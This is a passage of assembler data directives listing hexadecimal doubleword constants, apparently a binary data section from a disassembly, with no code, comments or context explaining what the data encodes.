0BB0A95E3h dd 0AC65C19Ah, 1ED2401Dh, 827D9D00h, 7AEEF5h, 504E608h dd 89BE6E33h, 38B1B51Ch, 0C51142D8h, 0BD5D08A1h, 30006CB7h dd 885FF435h, 1292E09Ch, 6B68433h, 0B83D5A86h, 6070A500h dd 14BEB8D7h, 3AD92655h, 832100E8h, 0BF5F3D28h, 0FD9E3601h dd 7B8A169Fh, 71BC1FC4h, 88E80C38h, 264840DBh, 8AE0EB09h dd 87770E05h, 0C8BCD250h, 0F0F5000Dh, 66C411CDh, 1B0003D5h dd 1E8AB773h, 37A5082h dd 0DDBC35B1h, 0C2F7D94Bh, 0B449E48Bh, 0FBADCC33h, 0C803Ch dd 0BB7375E0h, 1FA27CD2h, 43D32A96h, 4BC7DD1Eh, 75EF97A0h dd 8669E700h, 0E70E5F1h, 0F59600E2h, 0F63C8CD7h, 5600A6FBh dd 40A5B7CCh, 164B3E1h, 63BFEB5Eh, 0C845A951h, 16005D74h dd 333E3AEFh, 15EF805h, 39E138A2h, 20AC2BFDh, 7F00B45Ch dd 3CFB4A41h, 16EFD5C7h, 403731A8h, 2AF76144h, 6360BE72h dd 86924A72h, 0D790066h, 6B60EF1Fh, 983D7AF0h, 36AA007Eh dd 6266EE95h, 4CB8003Ah, 6D1BA5F1h, 9C0A9ED2h, 0D0ACD586h dd 0B7973400h, 1698BE1h, 523F32B4h, 0DC457DCEh, 75168790h dd 4003018Dh, 0F4FCF6Ah, 93D95080h, 4672E380h, 80E228D3h dd 7366E700h, 6257271Ch, 2E5E0023h, 0F60A84A9h, 55001E1Fh dd 0DF96CB9Bh, 498D48Ch, 58DDC646h, 597890FFh, 521754BFh dd 140260ABh, 0B22F2Eh, 0DE124456h, 0B10804Dh, 80EF9DF5h dd 103E610Ch, 8C19CF26h, 87EC12C0h, 53103F13h, 0E80976B7h dd 5F014DB2h, 70390DCEh, 0BC587D4Ch, 4ACA0EF5h, 8A74013h dd 0C289C0h, 2F8A7170h, 321E8488h, 411EB174h, 18C0F6CEh dd 0C2E2E320h, 581F0096h, 0C645CD4h, 0A9483802h, 0DCB80730h dd 8F307C26h, 13E3296h, 196E0853h, 0D424034Bh, 3100B7A4h dd 20D5E35Dh, 5882297Ah, 0F004D3Dh, 25BC1BFh, 0B60B9A40h dd 8E0DBD5Ch, 0A5A681E4h, 3620CA38h, 0AEC90FF6h, 0C7E103D7h dd 21B915DAh, 39A864DCh, 0A9C1F600h, 0D8DC04A0h, 0FC3658EEh dd 601A2703h, 0A5C81284h, 0A17792D7h, 32213A15h, 452E03B4h dd 0B0191BCBh, 89E4C4h, 0ABA63D91h, 2F52C577h, 12597C0Fh dd 6C831298h, 5BD3D922h, 3A5C50EAh, 3500803Eh, 785C0F5Eh dd 2607FF14h, 4293D8C2h, 76724431h, 43AAC540h, 34B207E7h dd 0D0B41E8Eh, 49527AE4h, 8429AB00h, 0E86A9909h, 0AC855070h dd 62ED1F17h, 883751h, 0E5AFFECEh, 0EC783260h, 381455AEh dd 8A0091F7h, 0F5314F12h, 650702EBh, 8CD645A3h, 9D04FF90h dd 0C5BF1CDFh, 0A8DE8255h, 0C04063B8h, 5A077488h, 1A79E467h dd 0B43035E7h, 0ED8C5Dh, 0C44C541Bh, 0F2166395h, 0CC11B229h dd 95EF230Eh, 16A053A0h, 200341A5h, 0F80B9815h, 0A00DB7h dd 6703562Ah, 0D9A69AF3h, 80ACE23Ch, 2DD7DB1h, 104964h dd 87D87335h, 6F9C9AEh, 4DCB3600h, 83F317B5h, 138A00E9h dd 0DA7999B0h, 1460AA1Ch, 0D92E2D18h, 0A7FE00D0h, 52CB4E5Ch dd 0D079BC5h, 6C53CD2Fh, 0AE1495h, 3028A7F1h, 12018BF8h dd 19FD444h, 0F6CC1861h, 0F83F86Ch, 557ABF0Ah, 50F32AE0h dd 0FC5CBC75h, 0E7F700E6h, 31588EC9h, 106200CCh, 651C88E2h dd 30010766h, 0CD94369Ah, 904025A6h, 1C3FA796h, 52CC57CAh dd 0E8271048h, 0A03AF10Eh, 0D0C28004h, 0C08B1100h, 787C700h dd 0A8CC6AAEh, 93D13809h, 83403280h, 1DE2015Bh, 8D0F7E00h dd 3F8B87FCh, 71740082h, 0FE5B9112h, 8F079331h, 30BE69EDh dd 3CBE450h, 1DD80070h, 716C4E04h, 0AE093D44h, 62ADF4CFh dd 3CAD60BCh, 8846242Dh, 0AFA7D0B4h, 97D30900h, 0D4C8BD58h dd 0C6FD185Eh, 13EC9887h, 9E470A04h, 0AC92194Fh, 4441210h dd 5E20450Ch, 351FF060h, 0C040EA2Ah, 0B1688CCh, 0DCD39900h dd 30C2AFEDh, 0D84702B3h, 98205E57h, 379A5868h, 250C670Ch dd 4FDA43h, 0C8D2359Bh, 0C09810ACh, 63D1DA00h, 2D386C02h dd 744F00F2h, 3095E181h, 7C752546h, 43292703h, 88198B0Ah dd 5DFACCh, 0C74C1D4Dh, 6E9D7C05h, 67F23C03h, 90CB5BAEh dd 0B0576165h, 96370E64h, 0E1190804h, 107C23A9h, 22016FE1h dd 0A056C307h, 0C09470D9h, 0E00014FCh, 0C1F79360h, 0F56688h dd 57E5DCD2h, 2A5A2F39h, 36DDD700h, 81C52549h, 0DB61C466h dd 8034E450h, 79FC7040h, 0E0AA4F56h, 722407DBh, 0B1002CB0h dd 0C36C62F3h, 128700F5h, 6168ACF2h, 20C0B5D2h, 2A83D055h dd 238A0049h, 9791800Eh, 0B260E550h, 0B4C162A8h, 395E78BEh dd 0B002687h, 0C73A55C4h, 751680F5h, 0B80005C1h, 0D42ECCACh dd 73CE3B8Bh, 4C1B4160h, 0A41CA5F3h, 5A80F201h, 76FCA76Ah dd 4EE100C9h, 3064C534h, 690016FDh, 0A4F8A650h, 6CFE90h dd 0BE1DFF53h, 29945CEEh, 18ADCA12h, 51705000h, 8D9E71h dd 0A6D2660Ch, 0B5766F27h, 42D12F00h, 93A1B0BAh, 6DEF00F5h dd 64D49C0Dh, 0D31E7B17h, 7980FA91h, 9548DD15h, 9F9300F9h dd 83B6C821h, 6B0040A6h, 0C002625Dh, 9E6E60h, 4798D585h dd 0F052DDC9h, 80094000h, 0ADE6322Dh, 0F15000A3h, 0BD218D6Ch dd 5D3A64F7h, 0D28E8098h, 6DBE8B7h, 0CCA70972h, 0B0202F38h dd 9B70312Dh, 300DAE6h, 8E2A9A1Ch, 16F40F34h, 4045FFh dd 90CCE3D4h, 0EA00DBB6h, 7FC9C099h, 1979A5Ah, 1F6115E5h dd 204A1026h, 0EB70AE30h, 31130205h, 9482693Dh, 0A4606014h dd 9754396Fh, 3F9FF381h, 0E8FDA8DBh, 0B05C280Ch, 4DA90060h dd 5D9405ABh, 1F02003Dh, 0F9A18155h, 0CF004895h, 2FA3758Bh dd 0EA0CBFh, 9DBFBAEh, 1B574C2Ah, 6993FD1Ch, 2D49214h dd 8EF8D53Ch, 4D4C001Fh, 611EA333h, 72C00450h, 91988D53h dd 80553EFBh, 47D22C80h, 23A9F8E1h, 7BB0A800h, 64BFA64Eh dd 5790A15h, 2D8F69Fh, 1DA82F1Bh, 559AD4A0h, 855117h, 6D27033h dd 5074627h, 0FB5E974Bh, 0B46ACB90h, 0D374001Ch, 8BE7DE4Eh dd 0CD73E140h, 7BA44A00h, 7C07625Fh, 82D900B7h, 3C191EB6h dd 0AA00DA74h, 10B3EBFBh, 0DB4104h, 6D24A111h, 9B5CD1B2h dd 53F11B00h, 0E9712607h, 73280E4Dh, 662043F0h, 0CE84F810h dd 0A7339D00h, 1F0CB65Eh, 6F8F1C57h, 78B480D4h, 19F6B82Ch dd 79CF058h, 381088ECh, 5C07D420h, 47F7A13h, 0D5439425h dd 0CB84D02Ch, 0DE00087Dh, 0FD10BBD4h, 0E41B0EDDh, 1C2008Bh dd 0C35CAE20h, 87001F75h, 60E1DF45h, 0FEE7FCh, 9A58ADC2h dd 0F8B12B0Dh, 0BB8BEB00h, 39A18F49h, 0A20200D7h, 38AD4C07h dd 0A326455Bh, 84406086h, 501999F7h, 1C49DCACh, 801C790Ah dd 627DD1ECh, 9401BCDDh, 47FF9092h, 0E0C27AB4h, 0CBDCF17Bh dd 0BC0150D2h, 7B582B9Ah, 0B8F4E0C3h, 879152h, 61BCDF42h dd 82FD660Dh, 0DC46AD00h, 0BF2CB7E6h, 0A49581Bh, 0DB932407h dd 0D65A4084h, 7700B50Dh, 7BDAEDE8h, 7A03F7D7h, 0E8107E0h dd 715B4C36h, 872324FAh, 73658368h, 6B8D3E80h, 256D013Ah dd 0AAF9ED7Dh, 8C60741Dh, 5DB2C900h, 75131731h, 0E86B2687h dd 0C6D0130h, 20CC1EB3h, 0B916EA02h, 0BC000376h, 31C43ED3h dd 3B4A02B5h, 5C70C70Bh, 99C9CC60h, 0DC13EE26h, 1E390280h dd 0FD19207h, 0F73627FCh, 3A0C0777h, 3B1FC0F6h, 126353BAh dd 0D0E59131h, 1DB1D8A6h, 0D0CE56h, 607CBF6Ch, 6F0044D4h dd 0C0595DFBh, 781CC16Ah, 62770071h, 0EC99CFA3h, 0D5006819h dd 0C6E059B4h, 0E3D3316h, 450227DEh, 1E1188F8h, 71EB6318h dd 0EA95770h, 0C553CEFEh, 97325E20h, 6FEF3C7h, 0BD00E892h dd 3114139Dh, 3A0B0726h, 0E300FE9h, 45E2B759h, 90AFF100h dd 636CC7FAh, 1451004Fh, 0D46BD3BDh, 4D1E8733h, 6DDDB3C2h dd 72C3C1DEh, 0D076AEF6h, 3E163E0Ah, 0A98E6104h, 4140F589h dd 66CDA447h, 0E5206F60h, 395AD6h, 94F58F95h, 40600458h dd 0E04930C7h, 0BB1E2670h, 0E7F47244h, 0CDA31883h, 407C61FFh dd 0F9F5F3Ch, 110D7DCh, 0D5E0FC18h, 19473600h, 382EB674h dd 813BDC95h dd 615C9BA3h, 188C8F97h, 0D7218EF0h, 0A38986F1h, 751D0BDh dd 0CEF5D9E7h, 0F4D1CC1Ah, 8B1D5200h, 5B685989h, 0F141C788h dd 0BDD150BBh, 48DF41DAh, 926FB801h, 22F4CD25h, 587034F6h dd 0C6768098h, 8D34524Ch, 600160DFh, 621B2DCDh, 8391E8h dd 31FB7ED9h, 2825B496h, 17A53B07h, 7B00210Ah, 4A36Ah dd 0E22B7112h, 0DDD25EB8h, 1E7DF438h, 0D00E4814h, 6049E642h dd 0F387391h, 0E3820EE0h, 0F10E760h, 7F2DCC06h, 176A8633h dd 0C7950229h, 0BAD978B8h, 0B7A994B8h, 0A5515A01h, 88D44A1h dd 39B9A3C4h, 67832969h, 85ABB577h, 5C571818h, 0E6B7D850h dd 0B36E3ED6h, 0ABA20170h, 3B474514h, 0B52C438Bh, 0D0D85D99h dd 59006748h, 8799C728h, 0FE7AB6h, 8469E10Bh, 60B974DBh dd 1D038B76h, 54FFAED1h, 9D682C93h, 94A21E4Eh, 7B009FE5h dd 8C5092BCh, 0A0004CFCh, 7D40C6A9h, 0A01C5FB9h, 0F4E1AD5h dd 0C2DEE637h, 83CC360h, 4150CDF2h, 0E2840D8h, 0A10C508Ch dd 11695B72h, 0DD65017Ah, 0C725DE85h, 0B59C50BDh, 50E9DAB2h dd 0D062D9B8h, 4570F500h, 2A427BBDh, 0C3610764h, 9051DD7Dh dd 1EBFE334h, 38FEC100h, 0EAB29565h, 2BE00627h, 183E5C43h dd 0F200DD7Dh, 3142925Ah, 613FD5B3h, 0C73E300Ah, 0FE08801Dh dd 2BF0F3ACh, 0F8772C3h, 47A2ECBFh, 3C4D4383h, 168B480Fh dd 77D8C0E7h, 3888666Dh, 0EB80466Ah, 0FF34E9C7h, 0CE001D62h dd 0A1283E49h, 25FE54Eh, 0BEC45DA4h, 2360EE7Bh, 1FB0D614h dd 7DAA751Fh, 7360E080h, 773864h, 0FD491DEAh, 0EA774FCh dd 8BC0E500h, 61C78565h, 589053h, 5DFDAED7h, 6722B6E2h dd 95D33F06h, 7548FB62h, 728F1E97h, 75B60064h, 0B96A1E55h dd 0F20066E2h, 2D26614Ch, 3B88A2B4h, 0C6878020h, 0AB4247A3h dd 75FE0077h, 1C970BB5h, 0C0463ABAh, 0B8323FE6h, 0B9E69666h dd 1B0604A7h, 10BDCDh, 0C8AA2C2Eh, 62821397h, 80369000h dd 0BBAF843Eh, 0A433071Bh, 762FCF17h, 762229A8h, 82CC2265h dd 74112742h, 287A289Eh, 948B7FF6h, 0EE74D640h, 5100B06Ch dd 2F49FF2Ch, 120BABDh, 3360BBB7h, 0D108C49Ah, 0CCA3FC88h dd 12DA7100h, 4B6BDB03h, 4DA2005Dh, 4E35996Ah, 59000FFFh dd 0C8301A19h, 39F483Ch, 508D2851h, 0F900B1DFh, 0CA328979h dd 556BBBh, 44F90962h, 83731526h, 7E02EA00h, 8354D32h dd 39EB005Bh, 77197081h, 14003655h, 0ED26A06Dh, 0B2E685h dd 0DF4B106Ah, 7EF60293h, 19C0CF7Fh, 0C638E825h, 16242C2Ch dd 497F006Fh, 2642F304h, 0B4813100h, 0FB4D55D1h, 0BFCC30A5h dd 6CB076A0h, 0C7EFE800h, 7465BD64h, 0C0DA0037h, 0D5DE13FEh dd 9B001904h, 0EC617D7Eh, 0ABD39h, 0B2274130h, 246BEE3Fh dd 79AFB407h, 956064F5h, 4A056Ah, 89DC709Ah, 0DEDF114Bh dd 0D94F5000h, 56E058EDh, 0EA790Ah, 251FA32Dh, 492195FAh dd 11BA8500h, 572F981Dh, 3FDF03FCh, 0BFB08BD2h, 0D012C08Fh dd 8607171Bh, 0DE0E13FBh, 0A57EB751h, 0C92C40FEh, 0BCF100E4h dd 8FFD41E0h, 0F005FF9h, 0C727D08Ch, 18AE2B3h, 7983D9D4h dd 609DF32Fh, 0D31CA873h, 0AD405BF6h, 66FA3DDCh, 0A89F5EA6h dd 0F01828F2h, 0D94CD80Fh, 68EB6034h, 0EE15E3h, 335305D7h dd 0BE79096Eh, 0EFA8970Fh, 6F540095h, 7D803ECh, 0AB9061F7h dd 4CEED0CBh, 4F0723EDh, 0DAB7D388h, 0AE605050h, 12E7D7Bh dd 7CD9D60Dh, 0F0E18A99h, 90052A1h, 0B244C554h, 5F1BE8h dd 569A72Eh, 0D8728039h, 0CB6D1800h, 0AB583AAh, 0F8015182h dd 5C2C0h, 0E971C4F8h, 0A2D54DD9h, 3D0CD4F2h, 48FC9E24h dd 21C00127h, 0CE368063h, 30E5E8C3h, 26F7FA03h, 0D0E86FECh dd 495672Ch, 3E3DC43Fh, 6DE09076h, 5E77ADD6h, 4B30A200h dd 0E824348Ah, 6E1E00B5h, 0F0E606BFh, 377EA98Bh, 4B839400h dd 5736ADC7h, 116401BBh, 4204BD3Dh, 100DE099h, 0B405E028h dd 0E7A07C08h, 65DC8435h, 7E7DC0DEh, 550E0379h, 20F4078Ah dd 0C09AA977h, 0FF878BCh, 19D6B4Ch, 0DCD209BEh, 0BB638803h dd 0EADA2AE8h, 5FC4C00h, 0DF7DD375h, 44E70EF2h, 0B420CE8Fh dd 90A9FF2Eh, 215FE302h, 40DA7718h, 9C6F35h, 35F41E91h dd 36BCF049h, 733049B0h, 0E54FAAEFh, 6428C71Ch, 74E4D099h dd 770F8780h, 0C3B4C3CFh, 0B026F101h, 0B741ECh, 909F6EE3h dd 92E447BFh, 6A6FF300h, 0E76072DCh, 13D770FEh, 4B4F540h dd 80258A60h, 0CC88FB41h, 613D19E2h, 92B28056h, 0A497C086h dd 6E171235h, 4FE41FBCh, 7340888Bh, 0DAC828E8h, 80C738h dd 2939A3F4h, 1012ACh, 57D90E82h, 20086124h, 53F6C100h dd 5B9F72C6h, 2D9400AEh, 0A3150535h, 0B10106C7h, 0F79A4E6Ah dd 97FC829Dh, 1E589252h, 0C198AC58h, 8E6277Eh, 0E7C3FCB3h dd 0C90558h, 59711FAAh, 229AF8Ah, 9D126FA2h, 4C09746h dd 6A005DD9h, 0D279BD52h, 98315027h, 18D60074h, 29E81174h dd 0A50073ABh, 0ACB1253Bh, 38FC7DF7h, 0F963ADh, 9DDEED78h dd 7106078Dh, 5533FEC3h, 6B219086h, 87DD0003h, 5E14152Fh dd 5A3B7248h, 29BB07CCh, 30C1F946h, 23ECBA09h, 0D97A90h dd 67C92016h, 0CDD42E5h, 8ED54E3Fh, 4086F8FFh, 5D6C0DC3h dd 0BD009760h, 1CA11811h, 0A6EA8703h, 893EAB64h, 20D005C8h dd 221E0FDCh, 5A00B8B1h, 5FE61685h, 5319DF67h, 0A9E30DA0h dd 6FBC3E4Dh, 66930100h, 91794A2Fh, 8586443Eh, 60AADB99h dd 0BD3E2083h, 7A80C61Fh, 8C67EF1Eh, 0DF72003Bh, 0D45C31C5h dd 2718E79Eh, 0E9F8D89Fh, 6B86003Eh, 7E4B0870h, 747DA362h dd 0CE478E1Fh, 0B367D540h, 3C2F7111h, 87805A83h, 0F632BAC7h dd 0DF003541h, 13469A3Bh, 14457ECh, 82E81B15h, 0CC41D3B0h dd 23013F60h, 0AB3BDD9Bh, 62CC9139h, 73E0A4h, 0CCC99C12h dd 0A1616041h, 38754D00h, 7F098EE5h, 0BC6A0086h, 234402B3h dd 791DCBD2h, 0D0C0710Ah, 83631FE2h, 0F9FE007Bh, 9D0FEA30h dd 7507647Ch, 495AF1EFh, 4D5E9CD0h, 712607C7h, 76B008h dd 0D573369Eh, 0AEA65907h, 8E3082FBh, 1CF95Bh, 9C493A11h dd 80840266h, 90001EE2h, 0EC9AF324h, 0F83325h, 208CB2D5h dd 1CD2D6F5h, 0ED43AB0Bh, 0A168800Bh, 3C4155Ch, 0B9B426F8h dd 0D298B711h, 0C3009F36h, 8C63881Bh, 3864ADCh, 0C6045BF7h dd 0ACA83152h, 9528E223h, 260E3C09h, 53610797h, 53101F02h dd 67746856h, 607C0054h, 0AA6EB08Ch, 221263D7h, 6C4493A9h dd 9080E4F6h, 0D1AF73h, 0A137E801h, 0BE782719h, 0CD39F728h dd 9F002179h, 4F93C5Ah, 37FD910h, 1A06B86Fh, 0F909BE6h dd 7E0077CAh, 8DB194DDh, 17BE76h, 26AE4087h, 90048F95h dd 811EDB03h, 0E81CA637h, 60330666h, 557FF4C2h, 0FE75BC08h dd 7100D4B1h, 0FC7E23BDh, 0EBD8C01Ch, 84A55B1Bh, 0C6DC460Bh dd 60C2008Dh, 1D1752F8h, 80B2A3E2h, 1D12B87Fh, 2C03A17Ah dd 0A8AD75E8h, 0C045CAAAh, 5EFB1F0Ah, 4AB680AEh, 0D690E2B2h dd 0F1572900h, 0E94BA47Eh, 72950F1Bh, 0FA825987h, 93C0FCC1h dd 0BF12DA97h, 3C81E21Ch, 6864E60Eh, 0C5EB006Ch, 5A032F53h dd 7B003B39h, 9A865095h, 13669109h, 1610E9D3h, 7F02003Ch dd 0C602EF47h, 0A8110E00h, 506382CDh, 8C1B4C3Fh, 7182C23Ah dd 0EA31BD32h, 4412E8E8h, 0E3AD1D00h, 2DE90A83h, 90DF2C95h dd 41C600C6h, 11E602DDh, 0DA088200h, 0A7A04CECh, 0E140ED0h dd 0AB00F5E0h, 0BA3C1EC7h dd 0C2750702h, 0C064FC7Bh, 69108h, 0AE3E409Dh, 0E2A5CA23h dd 40598D26h, 4E28003Fh, 3F4305B6h, 0C5A700CEh, 7E3B88DCh dd 941EBE0Ah, 0F383FA31h, 0E0EACBD9h, 4B4AD24h, 6AC1B090h dd 92F0D096h, 8C2EA05Fh, 171DBAA7h, 739CF402h, 105874h dd 0F0123C9Dh, 5DC18480h, 54113Bh, 88FCFD94h, 3C22BCDh dd 0BF5EE271h, 46C8687Ch, 550E7317h, 0A3D1C3FEh, 909FDA7Ah dd 84692Ah, 4DA5CC34h, 0C7D7644Fh, 73836E01h, 0AE3C9266h dd 299AC8h, 145F543h, 0AD0C14FBh, 2B301807h, 86EBB1C8h dd 0C0AD8B4h, 92650533h, 0A4E019A9h, 0DD0EE978h, 8E8AFE5Dh dd 0B6B4808Bh, 0B099ACF8h, 94E37544h, 3D96001Ch, 331DC6D1h dd 311BE974h, 0C0187D65h, 26C5C9h, 9862A880h, 0B7E67ED5h dd 0BF09477Eh, 802FB46Eh, 73A0AF8Fh, 0C5CC0116h, 80B2BE32h dd 350FE06Fh, 2D7E904Ch, 57F567Eh, 5D2E2C5h, 12A8B3Ch dd 0DD6AFB48h, 4675E026h, 937783FAh, 17757E71h, 4A41A103h dd 0F51DA794h, 85D4682Ch, 0BA351Eh, 0ACE2891Ah, 0BB48AEh dd 656FFAE8h, 7719E6B5h, 457BE000h, 31F2C86Ah, 1039005Dh dd 0D365BBADh, 0D4001830h, 0F3CD2D79h, 73EF7Ah, 7F17E1DAh dd 8B98BBA8h, 0BC0152h, 0DC84606Bh, 0ECC40F1Ah, 77E20345h dd 809EC8E6h, 0A3609870h, 32CFB808h, 0C47A001Ah, 0F2BA5341h dd 9A0111B0h, 751CA224h, 8EE8C6F0h, 2ED70326h, 166A42F7h dd 89D0C780h, 68A639h, 8EFF8B21h, 3A58D02h, 0ACBCD9E3h dd 5E01A0Dh, 0AF90954Dh, 0DF478203h, 0B1E39Bh, 4916830Eh dd 9699D855h, 0EEC2EF8h, 37CA2D00h, 179F9872h, 0F263751Eh dd 0AD510067h, 0E2C4E8DEh, 870678C8h, 0B51D4ADFh, 9EA01C9h dd 436584ADh, 82BFFC62h, 0F288B400h, 0A37635F1h, 36AD27E3h dd 22A59000h, 0FFAFD34h, 58031800h, 4D19713Dh, 75B006F8h dd 10738033h, 83048E57h, 41C3A8h, 1B43B110h, 0CE58179Bh dd 49107703h, 88FBA20Fh, 48BAA883h, 0AE0CE441h, 0B229188Ah dd 6C7440h, 238ED5FBh, 5C97AF55h, 788B891Dh, 0D1BF2A40h dd 795BFF75h, 0CB2200ADh, 0F29D400Fh, 0D4000717h, 2FAFD3Bh dd 0DB51E5h, 0AA90DEA9h, 4F2B2CE4h, 0CE2413E6h, 7400E209h dd 33A3491Ch, 0F2401FB3h, 0B79580E2h, 0E6F6B24h, 800002F4h dd 344306D1h, 9D794Dh, 3EA433F9h, 0E20542Dh, 5610F660h dd 9D6F8h, 0CE5C8719h, 0A2387404h, 8C058601h, 0DE42B7BAh dd 0AEBDC20h, 0BD7D2A8Eh, 52D60098h, 6BF89D9Fh, 0AA71E72Ch dd 85B81A02h, 0BCD684F0h, 0B59DAE80h, 58C5070Bh, 90DF1FC9h dd 0C88C22ACh, 49A4AD00h, 0D17E3E50h, 721200F2h, 32A3D90Eh dd 7558EFC0h, 83CD01E1h, 5CC76697h, 0B3D6C8h, 1A0E7F4Eh dd 0DDC10B21h, 4A04BCB0h, 10811582h, 2E6B5781h, 0FEF1D7DCh dd 0B89000E8h, 9AF7AB8Ah, 85514E20h, 54E0FCF8h, 69C53500h dd 5CBA5844h, 0E9BE00F9h, 4279103Bh, 93070B83h, 0B4164B73h dd 0D1BB60C0h, 45E800BEh, 4DB0DB43h, 0AE00A1E5h, 3E180529h dd 0A43128h, 0F6C4A2BFh, 9C1FDB5Ah, 25944F00h, 2EE64213h dd 13A7C16h, 1DB48CD3h, 0CC2AF58Ah, 527DECE4h, 3C16F600h dd 440EFEE6h, 0C669006Eh, 0B79B8722h, 0C50CAFC0h, 6829ECD3h dd 1E75EE72h, 407D0ABAh, 7CAD42D8h, 0E0CE847Fh, 0FE6260E7h dd 0EE6555h, 0C3ECB7B9h, 3AC824CDh, 13914200h, 0DB62E599h dd 877189h, 631DA919h, 0B557B2F8h, 71DA4107h, 34113652h dd 0AF102C88h, 0F40054ADh, 7C6BD826h, 0F54A7Eh, 0AC1DEEEh dd 0F7906DC5h, 2D7FEF00h, 0C747DB1Ch, 764626D3h, 93023C1Fh dd 311A6D56h, 0D39E9A41h, 0EF9CFCF0h, 1D6E0E00h, 0A4401596h dd 0F987Eh, 485387Fh, 0FE70D7EDh, 2B009A7Fh, 5C71B0F0h dd 0A23126h, 6254C50h, 36FDF6EDh, 81A7AB3Fh, 488CEFB1h dd 582075A6h, 83F5015Ch, 0F1667823h, 40E0EA55h, 940B3BACh dd 806C0DCDh, 0ADA1693Bh, 0CE7E0D05h, 0D15A4457h, 0E199C4B1h dd 41770300h, 8B2FA537h, 39AD719Bh, 0DE00748Eh, 0F46CFC71h dd 7C003816h, 0D3FD441Ah, 12FB5D07h, 781357Fh, 0D0C69588h dd 0E8852617h, 24478E13h, 0F1375840h, 61F9B4h, 62A9254Eh dd 7DE1EE2Dh, 7A710400h, 7FCE448Ah, 578501E0h, 27EFB665h dd 39190064h, 441600F5h, 0A54B1F77h, 69009C15h, 0B893FA5Eh dd 0FE4ABCD5h, 0C8D305EFh, 624522h, 5BDD98DCh, 2098993Bh dd 5E65641Dh, 2AA2F9C0h, 0F068E60h, 49577BBBh, 0C06E6B04h dd 71D8CD34h, 0A7215B0Bh, 40DA00A5h, 1E4F57D0h, 5C36ACC0h dd 0BEC2007Dh, 0F6E2DDBAh, 9A8D5F06h, 0E87240h, 1C85CD7Fh dd 0E4DC0499h, 3AF82F3Eh, 0EE5C804Fh, 0A72D0121h, 2868073Fh dd 0E37E9C1Ah, 84E86089h, 830FCE8Dh, 60ACB770h, 5C018E96h dd 902A4C34h, 0DEC7FC08h, 5D004093h, 7DD7324Eh, 84410021h dd 15BD92F2h, 39003025h, 4406BCAh, 0B71B93h, 0BE872EDh dd 0A221160Ch, 6471EF00h, 0C6FFCC48h, 8B373E74h, 3B5D9880h dd 108206C5h, 0DE219012h, 6B7D3600h, 50C73C32h, 1809AC73h dd 31EAA8BAh, 97004B61h, 8A56ADFDh, 0C0300DB0h, 4E479F29h dd 0B00E4EDh, 986C365Ah, 2CAF62Eh, 0CF52BF8h, 24400902h dd 0D72A6684h, 9D0B881Bh, 3A0B754h, 0AF790704h, 20100049h dd 60F09277h, 29B811BDh, 0AD1ED76Dh, 2CC01193h, 12711DD9h dd 3D4F0021h, 56DBC4BAh, 0F816DFF9h, 8840022Dh, 84E7CD33h dd 2E320039h, 1BB823BFh, 7C24766Fh, 0F304E488h, 67C39ED3h dd 75198851h, 0F68051BBh, 0DE78A0h, 8BD13743h, 73E60698h dd 2021C926h, 0AFB0506h, 0CE920029h, 0FA602CD2h, 5AF07B74h dd 9FDBD609h, 0C5CD2067h, 0F1861Ah, 0A71FFD6Eh, 9938AB06h dd 0C4747801h, 8F4A6D1Eh, 618CC1h, 3C0FD3C4h, 0F804F0E3h dd 0C0470EE0h, 0B12333A9h, 4F940712h, 141A9840h, 0EAD5B2D7h dd 0B9900E75h, 1800F854h, 41177F0Ah, 2CA22F00h, 30D2A42Ah dd 0B7851F87h, 903980BAh, 993EDD5Eh, 4F32D40Eh, 2FBDE051h dd 8FA791h, 0FD8731D5h, 5310F36Ah, 0E5C84600h, 0D27163B0h dd 0B6E2C3h, 72FED9C1h, 0A92DAC31h, 0AAF21200h, 2FA29A57h dd 0B07B3C97h, 7157320h, 3ACC128Fh, 7D4C9E94h, 0C5FF25Fh dd 0FC032F45h, 56961003h, 1390182h, 2FB9F5BDh, 0D8A7D06Dh dd 0DF9E8400h, 0EEDD9D95h, 82200B2h, 0F2E51153h, 7801EACEh dd 5792C9A2h, 40408197h, 0FC128D05h, 31D4F97Ah, 427600A8h dd 533CE6E1h, 852A2D43h, 9C8280F5h, 674B025h, 88750120h dd 16508F0Eh, 0C1BD805Bh, 0E0A5DBh, 55EF1D3Fh, 0F14F80B7h dd 8577E100h, 82D19B4h, 3C7925h, 0AA99E286h, 3CFFDE6h dd 0CDE7EF00h, 0D3F5C40Ah, 718C00FEh, 0A00BB8BDh, 7307BC62h dd 4B02DE04h, 4FD223D0h, 3427006Ch, 0E9A07BA3h, 0D10796A5h dd 0D4AF44E6h, 0A7F0290h, 0F5C70030h, 728BD901h, 6400C98Dh dd 0B3FEDE7Ah, 0EA9F4Dh, 0AB82B6FBh, 11FD6B9Ah, 1AAF3Dh dd 0E1596ED1h, 13C6E0h, 263EE3F3h, 2062AD19h, 91FB5600h dd 0C08537Ch, 0A70F006Eh, 0BF1DC63Eh, 0DE003216h, 8F2023FCh dd 0EE1117h, 773CF035h, 0AE5748C0h, 0F9EC1554h, 0FCEDA828h dd 75490A03h, 0A24C0196h, 8C072BE4h, 22CA32EDh, 8A2524C0h dd 0ACEE2F00h, 0BC797DE9h, 0DBE00FFh, 4603B243h, 8318F1E6h dd 0F24006CBh, 301400A0h, 0C6D71785h, 28CFEF0Dh, 905D101Eh dd 0A0160C7Ch, 53117A76h dd 0FF819F00h, 0ADECCB0Ah, 8D366F0h, 300021BCh, 0EB881A7h dd 73B6325Bh, 0B5B904B2h, 90722CD4h, 0DA1C7714h, 7F013E7Bh dd 0BF857D16h, 0A32CE274h, 971F9A03h, 76001C09h, 7CC9B479h dd 4C4A1612h, 0A060D310h, 725457F2h, 6903B17Eh, 8518D49Fh dd 1337A8F6h, 5A00728h, 5383321Bh, 278874FFh, 4400DEAAh dd 643A0CFCh, 0E4FBAC22h, 553E004Dh, 0F4286B3Dh, 0F20F46A1h dd 60298386h, 215E6878h, 1D12007Fh, 0C9F76A79h, 0F500E306h dd 0FA6394EAh, 0D5DC55h, 96600D76h, 8B18A4E5h, 9272B100h dd 2C6ADE80h, 735D008Eh, 0AD6EFBC3h, 0AC00F932h, 3437A15h dd 0FE541A2Dh, 297423h, 4F0CBBA0h, 0B6F1567Ch, 5FA1E300h dd 0F2F26F2h, 0BD95074Ch, 0C0802B33h, 0EE767956h, 9F11B00Fh dd 0DB91A0C4h, 0DE721Ah, 28569C74h, 0A4664B80h, 25612D1Fh dd 1D5D1B40h, 3BA19B81h, 1787536h, 9D513CFDh, 0ECB92F4Ah dd 0A6034209h, 93E0A9A1h, 7811C884h, 3F51C09Eh, 0BB9CA05Ah dd 0EE8A7600h, 34D198B8h, 0CF4407C7h, 0A08060D5h, 0FD019C4Fh dd 0DCA52E0Ch, 